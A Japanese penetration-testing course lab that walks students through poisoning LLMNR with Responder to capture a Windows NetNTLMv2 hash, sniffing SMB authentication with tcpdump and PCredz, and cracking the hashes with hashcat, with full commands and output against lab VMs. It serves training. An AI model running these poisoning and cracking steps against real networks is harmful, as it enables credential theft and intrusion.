Skip to content

Lab 3.6: Responder

オフライン演習

接続性:これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。

目的

  • LLMNRを悪用してNTLMv2チャレンジ-レスポンスを取得する(Responderを使用)
  • Hashcatを使用してNTLMv2チャレンジ-レスポンスをクラックし、有効な認証情報セットを入手する
  • *SMB*経由で*NTLMv2*チャレンジ/レスポンス交換をスニッフィングする
  • スニッフィングした*NTLMv2*認証メッセージからHashcatを使用してパスワードを特定する

ウォークスルー動画

ラボのセットアップ

使用するVM:

  • Linux
  • Windows 11

このラボでは、LinuxとWindows VMを起動しておく必要があります。Linux VMから、Responderを使用してWindows VMを「攻撃」します。ここでの目標は、NTLMv2チャレンジ/レスポンスをキャプチャし、オフラインブルートフォース攻撃を試みることです。

これが正常に機能することを確認するために、LinuxからWindowsへpingできることを確認してください。

LinuxからWindowsにpingできない場合(クリックして展開)
  1. VPNのIPアドレス(10.254.25X.X)ではなく、ローカルIPアドレスにpingしていることを確認してください。
  2. Windowsで管理者権限のコマンドプロンプトを開き、以下を実行します

    コマンド

    netsh advfirewall set allprofiles state off
    
  3. 再度pingを試してください

これでうまくいかない場合は、TAまたはインストラクターに連絡してください。

ラボ – 手順

1: Responderの起動

Linuxでターミナルプロンプトを開きましょう。Responderが特権ポート(デフォルトでは<1024)でリッスンするには、root権限が必要なので、sudoを使用して権限をrootに昇格させましょう。Responderは/pentest/exploitation/responderにあります。

コマンド

sudo Responder.py -I eth0

想定される結果

sec560@560vm:~$ sudo Responder.py -I eth0
                                        __
.----.-----.-----.-----.-----.-----.--|  |.-----.----.
|   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
|__| |_____|_____|   __|_____|__|__|_____||_____|__|
                |__|

        NBT-NS, LLMNR & MDNS Responder 3.1.5.0

To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal  -> https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    MQTT server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]
    SNMP server                [OFF]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.136.128]
    Responder IPv6             [fe80::20c:29ff:fe8b:e2c1]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-C1HY21WTRR8]
    Responder Domain Name      [ATFQ.LOCAL]
    Responder DCE-RPC Port     [46625]

[+] Listening for events...

[!] Error starting TCP server on port 80, check permissions or other servers running.
[!] Error starting SSL server on port 443, check permissions or other servers running.
[!] Error starting SSL server on port 5986, check permissions or other servers running.
[!] Error starting SSL server on port 636, check permissions or other servers running.
[!] Error starting TCP server on port 53, check permissions or other servers running.

Responderはかなり詳細な出力を提供します。エラーは無視できます。すべてのサーバーが稼働している必要はありません(マシンがすでにそれらのポートでリッスンしているため)。いくつかの注目すべき点が表示されます:

  • Poisoners:LLMNR、NBNS(NBT-NS)、DNS/MDNSを含む、使用中のポイズニング技術が表示されます。
  • Servers:攻撃のターゲットはSMBです
  • Interface:-Ieth0インターフェースを指定しました

さまざまな警告とともに、ResponderはListening for events...と表示するはずです。

2: Windowsマシンへの切り替え

それでは、被害者となるWindowsマシンに切り替えましょう。ここでは、パスワードQwerty12を使用してclarkユーザーとしてログオンします。Clarkのデスクトップ内からChromeを開いて、これらの手順を続けても構いません。

Windows VMからログアウトします。左下隅のWindowsアイコンをクリックし、次にユーザーアイコン(小さな頭と肩)をクリックします。その後、「サインアウト」をクリックします。

次に、以下の認証情報でログインします:

  • ユーザー名:clark
  • パスワード:Qwerty12

3: エクスプローラーウィンドウを開く

エクスプローラーウィンドウを開き(タスクバーのフォルダーアイコンをクリック)、存在しないシステムへのSMB接続を開いてみましょう。これによりLLMNRリクエストがトリガーされることを覚えておいてください。WindowsマシンはマルチキャストLLMNRリクエストを使用してホスト名を解決しようとします。Responderが応答するのは、このようなタイプのリクエストです!

例えば、\\WINDOWS01へのSMBセッションを開いてみることができます。これは、エクスプローラーウィンドウを開き、アドレスバーに\\WINDOWS01と入力してEnterキーを押すことで実行できます。接続は数秒間ハングし、その後「アクセスが拒否されました」と表示され、認証情報が要求されます。

この時点で、Windowsマシンは既に現在のWindowsセッションの認証情報を使用してサインオンを試みていることに注意することが重要です。したがって、Responderは既にNTLMv2チャレンジ-レスポンスを取得できているはずです...

SMBにクエリするだけで、Windowsは認証情報を露出します

Windowsが何度か認証を試みた後、このダイアログが表示されます。単純に閉じることができます。既にハッシュを取得しました!

ログインする必要はありません、既に目的のものを入手しました

4: NTLMv2チャレンジ/レスポンスハッシュの確認

Linuxマシンに戻って、試行が成功したかどうかを確認しましょう!

Responderが実行されているウィンドウで、NTLMv2チャレンジ-レスポンスがキャプチャされたことが表示されているはずです(スクリーンショットでそれがどのように見えるかの例を参照してください)。すぐに表示されない場合は、ウィンドウを上にスクロールする必要があるかもしれません。エントリには、ハッシュがclarkのものであり、Windowsマシンから収集されたことが明確に示されているはずです。

想定される結果

[*] [LLMNR]  Poisoned answer sent to fe80::587:59f7:3906:73b2 for name windows01
[*] [LLMNR]  Poisoned answer sent to 192.168.136.1 for name windows01
[*] [MDNS] Poisoned answer sent to fe80::587:59f7:3906:73b2 for name windows01.local
[SMB] NTLMv2-SSP Client   : 192.168.136.129
[SMB] NTLMv2-SSP Username : SEC560-WINDOWS\Clark
[SMB] NTLMv2-SSP Hash     : Clark::SEC560-WINDOWS:ea9c68db14eeaaee:32FFC3E94A77A3346D5BD2A30D982AA1:010100000000000080B15C167013DB01DBDD329FBD1A93070000000002000800580037004800380001001E00570049004E002D00510054003200470057004A00470056004B003700440004003400570049004E002D00510054003200470057004A00470056004B00370044002E0058003700480038002E004C004F00430041004C000300140058003700480038002E004C004F00430041004C000500140058003700480038002E004C004F00430041004C000700080080B15C167013DB0106000400020000000800300030000000000000000000000000200000CA03B3CD06A8DF60C7C38E1D17E068236BE529A500BFCC99747052D1318A36AE0A0010000000000000000000000000000000000009001C0063006900660073002F00770069006E0064006F0077007300300031000000000000000000

出力は若干異なる場合がありますが、NTLMv2-SSP Hashとハッシュ自体を示す少なくとも1行が含まれているはずです。

ハッシュが表示されたら、CTRL+Cを押してResponderを終了できます。

5: Hashcatを使用して取得したハッシュをクラックする

NTLMハッシュとNetNTLMv2ハッシュの違いに注意することが重要です:

  • NTハッシュ(「NTLMハッシュ」と呼ばれることもあります)は、Windowsがパスワードを保存するために使用する、ソルトなしのMD4ハッシュです。SAMファイル(ローカルユーザー)またはNTDS.ditファイル(ドメインユーザー)に保存されます。このタイプのハッシュは、*Pass-the-Hash*攻撃で使用できます!

  • NTLMv2ハッシュ(「NetNTLMv2ハッシュ」と呼ばれることもあります)は、スニッフィングされた場合、オフラインブルートフォース攻撃を開始するために使用できるチャレンジ-レスポンスです。このタイプのハッシュは、Pass-the-Hash攻撃では使用できませんが、*SMB Relaying*攻撃でリレーされる可能性があります!

Responderによってキャプチャされたハッシュは、デフォルトで/pentest/exploitation/responder/logsの.txtファイルに保存され、以下のファイル名に似た名前が付けられます。実際のファイル名は、WindowsマシンのIPアドレスによって異なります。

Hashcatがターゲットとするハッシュタイプ(NetNTLMv2)を指定する必要があります。これは-mフラグを使用して行うことができます:

コマンド

hashcat -m 5600 /pentest/exploitation/responder/logs/SMB-NTLMv2-SSP-* /usr/share/wordlists/rockyou.txt

想定される結果

sec560@560vm:~$ hashcat -m 5600 /pentest/exploitation/responder/logs/SMB-NTLMv2-SSP-* /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

[...header trimmed for brevity...]

CLARK::SEC560-WINDOWS:29f3b536eec7e542:56580a286e0b09ddc455e58526c76328:0101000000000000006187397013db01c615fcfe011a4ab0000000000200080053004c005900540001001e00570049004e002d005a0030004c0046004d0042003500510053004b00570004003400570049004e002d005a0030004c0046004d0042003500510053004b0057002e0053004c00590054002e004c004f00430041004c000300140053004c00590054002e004c004f00430041004c000500140053004c00590054002e004c004f00430041004c0007000800006187397013db0106000400020000000800300030000000000000000000000000200000ca03b3cd06a8df60c7c38e1d17e068236be529a500bfcc99747052d1318a36ae0a0010000000000000000000000000000000000009001c0063006900660073002f00770069006e0064006f0077007300300031000000000000000000:Qwerty12

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: CLARK::SEC560-WINDOWS:29f3b536eec7e542:56580a286e0b...000000
Time.Started.....: Thu Sep 26 21:48:55 2024 (0 secs)
Time.Estimated...: Thu Sep 26 21:48:55 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1631.1 kH/s (0.76ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 370688/14344387 (2.58%)
Rejected.........: 0/370688 (0.00%)
Restore.Point....: 368640/14344387 (2.57%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ROBERT23 -> AllenIverson
Hardware.Mon.#1..: Util: 26%

Started: Thu Sep 26 21:48:42 2024
Stopped: Thu Sep 26 21:48:56 2024

Hashcatは、rockyou.txtパスワードファイルを使用して、提供されたハッシュのブルートフォースをすぐに開始します。この特定のシナリオでは、クラッキングは非常に高速です!

注意すべき重要な点の1つは、Hashcatはハッシュを「再クラック」しないということです。特定のハッシュを既にクラックしている場合、再度クラックしようとすると、ハッシュをロードしなかったことを通知するだけです。

クラックされたハッシュを表示するには、Hashcatのshow機能を使用できます:

コマンド

hashcat -m 5600 /pentest/exploitation/responder/logs/SMB-NTLMv2-SSP-*  --show

想定される結果

sec560@560vm:~$ hashcat -m 5600 /pentest/exploitation/responder/logs/SMB-NTLMv2-SSP-*  --show
CLARK::SEC560-WINDOWS:29f3b536eec7e542:56580a286e0b09ddc455e58526c76328:0101000000000000006187397013db01c615fcfe011a4ab0000000000200080053004c005900540001001e00570049004e002d005a0030004c0046004d0042003500510053004b00570004003400570049004e002d005a0030004c0046004d0042003500510053004b0057002e0053004c00590054002e004c004f00430041004c000300140053004c00590054002e004c004f00430041004c000500140053004c00590054002e004c004f00430041004c0007000800006187397013db0106000400020000000800300030000000000000000000000000200000ca03b3cd06a8df60c7c38e1d17e068236be529a500bfcc99747052d1318a36ae0a0010000000000000000000000000000000000009001c0063006900660073002f00770069006e0064006f0077007300300031000000000000000000:Qwerty12

通常、Hashcatは完全な元のハッシュを表示し、その後にコロン、その後に平文のパスワード(この場合はQwerty12)を表示します。

--show引数を指定してHashcatを実行すると、新しいパスワードクラッキングセッションを開始する代わりに、コマンドは/pentest/password-recovery/hashcat/hashcat.potfileファイル内で指定されたファイル(この場合はSMBv2-NTLMv2-SSP-*)のハッシュを検索し、それらのハッシュに関連付けられたクラックされたパスワードを出力できるようにします。

6: clarkをログアウトし、sec560としてログイン

Windowsマシンから(clark)ログアウトします。その後、sec560として再度ログインします。

おめでとうございます!NetNTLMv2チャレンジ-レスポンスのクラックに成功しました!

7: スニッファーを使用したハッシュのキャプチャ

このラボでは、Linuxマシンに移動し、smbclientを呼び出してSMB経由でWindows VMにアクセスします。認証が成功しないように、偽のユーザー名とパスワードを入力してください。その交換が行われている間、Linuxでtcpdumpを実行して交換をスニッフィングし、その後クラックできます。

このラボは、いくつかの異なるシナリオをモデル化しています。その一部を以下に示します:

  1. 攻撃者が中間者の位置にあり、認証をキャプチャする

  2. 攻撃者がサービスを実行し、脆弱性スキャナーがサービスに接続するのを待つ

  3. 攻撃者が、ユーザーに攻撃者が制御するマシン上の共有をマウントさせることができる

Linux仮想マシンに移動します。ここでは、まずtcpdumpスニッファーを実行して、認証交換に関連するパケットを取得します。2つのターミナルウィンドウが必要です:1つはtcpdumpでスニッフィングするため、もう1つはsmbclientでWindowsへの認証を行うためです。2つのターミナルウィンドウを起動します。

1つのターミナルで、次のようにtcpdumpを実行します:

コマンド

sudo tcpdump -nv -w /tmp/winauth.pcap port 445

-nは、ポート名とホスト名ではなく、数値ポートとIPアドレスを表示するように指示します。vは、tcpdumpがこれまでに受信したパケット数を出力するようにします。-wオプションは、tcpdumpにパケットをパケットキャプチャファイルに保存させます。ポート445に関連するパケットのみに焦点を当てます。

tcpdumpが実行されている間に、別のターミナルでsmbclientを呼び出して、Windows VMへの認証試行を実行します。

ユーザー認証をシミュレートするために、パスワードQwerty12を使用してユーザーclarkとしてWindows VMに認証します。 もう一方のLinuxターミナルで、次のように入力します:

コマンド

smbclient //YOUR_WINDOWS_IP_ADDRESS/c$ -U clark --password=Qwerty12

想定される結果

sec560@560vm:~$ smbclient //YOUR_WINDOWS_IP_ADDRESS/c$ -U clark --password=Qwerty12
tree connect failed: NT_STATUS_ACCESS_DENIED

YOUR_WINDOWS_IP_ADDRESSを置き換えてください!

YOUR_WINDOWS_IP_ADDRESSをWindows VMのローカルアドレスに置き換えてください(10.254.25X.Xのようなアドレスではありません)。

認証情報はこのシステムでは有効ではありません(Clarkは管理者ではないため、NT_STATUS_ACCESS_DENIEDレスポンスが返されます)。

Linuxでsmbclientコマンドを実行するためにEnterキーを押すと、NT_STATUS_ACCESS_DENIEDレスポンスが表示されます。さらに重要なのは、もう一方のウィンドウのtcpdumpスニッファーが、いくつかのパケットをキャプチャしたことを示しているはずです。tcpdumpの出力には、Got XXパケットと表示されているはずです。ここでXXは11以上です。

tcpdumpを終了する必要があります!

tcpdumpターミナルでCTRL-Cを押す必要があります。そうしないと、tcpdumpはパケットをキャプチャファイルに書き込みません。パケットを収集しました。

8: Pcapファイルからハッシュを抽出

PCredzを使用して、pcapファイルからパスワードハッシュを抽出します。このツールは、「クレジットカード番号、NTLM(DCE-RPC、HTTP、SQL、LDAPなど)、Kerberos(AS-REQ Pre-Auth etype 23)、HTTP Basic、SNMP、POP、SMTP、FTP、IMAPなどをpcapファイルまたはライブインターフェースから」抽出できます。

PCredzツールは、実行する場所と方法が特殊です。Pcredz実行可能ファイルを含むディレクトリから実行する必要があります。

注:実行可能ファイルはPcredzという名前ですが、ツールはPCredzと呼ばれています(「C」の大文字小文字が変わることに注意してください)。今後は、実行可能ファイル名のPcredzで参照します。

それでは、Pcredzを実行してハッシュを抽出しましょう!

コマンド

sudo /pentest/password-recovery/pcredz/pcredz -vf /tmp/winauth.pcap

想定される結果

sec560@560vm:~$ sudo /pentest/password-recovery/pcredz/pcredz -vf /tmp/winauth.pcap 
Pcredz 2.0.2
Author: Laurent Gaffie
Please send bugs/comments/pcaps to: laurent.gaffie@gmail.com
This script will extract NTLM (HTTP,LDAP,SMB,MSSQL,RPC, etc), Kerberos,
FTP, HTTP Basic and credit card data from a given pcap file or from a live interface.

CC number scanning activated

Using TCPDump format

protocol: tcp 192.168.136.128:58146 > 192.168.136.129:445
NTLMv2 complete hash is: clark::WORKGROUP:69508736f9d89875:05DF9412578ADDD994C7700A25FE991B:0101000000000000BD438B976414DB01CD9BB212B95F55E50000000002001C005300450043003500360030002D00570049004E0044004F005700530001001C005300450043003500360030002D00570049004E0044004F005700530004001C005300450043003500360030002D00570069006E0064006F007700730003001C005300450043003500360030002D00570069006E0064006F007700730007000800BD438B976414DB0106000400020000000800300030000000000000000000000000000000BE3D2CD7ED16B2CFFB1490A9770DF2C2548547FADF332F986145FA4A9BA71F950A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330036002E0031003200390000000000

[...extra output trimmed...]

画面にハッシュが表示され、前のコマンドは上記のすべての出力を含む/pentest/password-recovery/pcredz/CredentialDump-Session.logという名前のファイルを作成します。さらに、このツールは、見つかったハッシュタイプにちなんで名付けられたファイルを/pentest/password-recovery/pcredz/logs/ディレクトリに作成します。

logsディレクトリ内のハッシュを含むファイルを見てみましょう。

コマンド

ls -l /pentest/password-recovery/pcredz/logs/
cat /pentest/password-recovery/pcredz/logs/NTLMv2.txt

想定される結果

sec560@560vm:~$ ls -l /pentest/password-recovery/pcredz/logs/
total 4
-rw-r--r-- 1 root root 660 Sep 26 23:05 NTLMv2.txt
sec560@560vm:~$ cat /pentest/password-recovery/pcredz/logs/NTLMv2.txt
clark::WORKGROUP:78830714be53619c:0E38B622EF4932E728D95A7B3B70E0CF:010100000000000020AF80B97013DB0158631A0898C0468F0000000002001C005300450043003500360030002D00570049004E0044004F005700530001001C005300450043003500360030002D00570049004E0044004F005700530004001C005300450043003500360030002D00570069006E0064006F007700730003001C005300450043003500360030002D00570069006E0064006F00770073000700080020AF80B97013DB01060004000200000008003000300000000000000000000000000000002C5B285E7B64159BE6EB40CF20EB23D5B3B017908DD119771E27644E11B812380A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330036002E0031003200390000000000

適切な形式でハッシュを取得したので、hashcatを使用してクラックできます。

コマンド

hashcat -m 5600 /pentest/password-recovery/pcredz/logs/NTLMv2.txt /usr/share/wordlists/rockyou.txt

想定される結果

sec560@560vm:~$ hashcat -m 5600 /pentest/password-recovery/pcredz/logs/NTLMv2.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

[...header trimmed for brevity...]

CLARK::WORKGROUP:326a1f125d5dcb9a:08c3b6970595dd1f3c78efaa8f045d12:0101000000000000337e12435e10db016dd0552b399f805f0000000002001c005300450043003500360030002d00570049004e0044004f005700530001001c005300450043003500360030002d00570049004e0044004f005700530004001c005300450043003500360030002d00570069006e0064006f007700730003001c005300450043003500360030002d00570069006e0064006f007700730007000800337e12435e10db010600040002000000080030003000000000000000000000000000000093503280ed2f4861c19a21e6014705a8550ad6187430da440f89d2e75d0486e40a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100330036002e0031003200390000000000:Qwerty12

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: CLARK::WORKGROUP:326a1f125d5dcb9a:08c3b6970595dd1f3...000000
Time.Started.....: Thu Sep 26 23:08:06 2024 (0 secs)
Time.Estimated...: Thu Sep 26 23:08:06 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1900.3 kH/s (0.71ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 370688/14344387 (2.58%)
Rejected.........: 0/370688 (0.00%)
Restore.Point....: 368640/14344387 (2.57%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ROBERT23 -> AllenIverson
Hardware.Mon.#1..: Util: 34%

Started: Thu Sep 26 23:08:06 2024
Stopped: Thu Sep 26 23:08:08 2024

Hashcatは、使用したパスワードファイル(/usr/share/wordlists/rockyou.txt)内でパスワードを見つけました。

次のコマンドを使用して、クラックされたパスワードを見てみましょう:

コマンド

hashcat -m 5600 --show --outfile-format 2 /pentest/password-recovery/pcredz/logs/NTLMv2.txt

想定される結果

sec560@560vm:~$ hashcat -m 5600 --show --outfile-format 2 /pentest/password-recovery/pcredz/logs/NTLMv2.txt 
Qwerty12

オプションは次のとおりです:

  • -m 5600:NetNTLMv2モード
  • --show:結果を表示
  • --outfile-format 2:平文パスワードの出力形式(hashcat -h | grep -A10 "Outfile Formats"を実行して利用可能なオプションを確認できます)
  • /pentest/password-recovery/pcredz/logs/NTLMv2.txt:ハッシュを含むファイル

クリーンアップするために、PCredzログ、Hashcat potfile、Responderログとデータベースを削除しましょう:

コマンド

sudo rm /pentest/password-recovery/pcredz/logs/NTLMv2.txt
sudo rm /pentest/password-recovery/hashcat/hashcat.potfile
sudo rm /pentest/exploitation/responder/logs/*
sudo rm /pentest/exploitation/responder/Responder.db

まとめ

このラボでは、Responderを使用してネットワークレベルの攻撃を実行してNTLMv2ハッシュを取得する方法と、Hashcatを使用してこれらのハッシュをクラックする方法を見てきました。この技術は、ペネトレーションテスターがパスワードを識別し、ターゲット環境へのより深いアクセスを獲得するために使用するのに役立ちます。

また、スニッフィングの多様性も見てきました。tcpdumpを使用して認証をキャプチャし、ハッシュを抽出してNTLMv2チャレンジ/レスポンスをクラックし、ハッシュをクラックしました。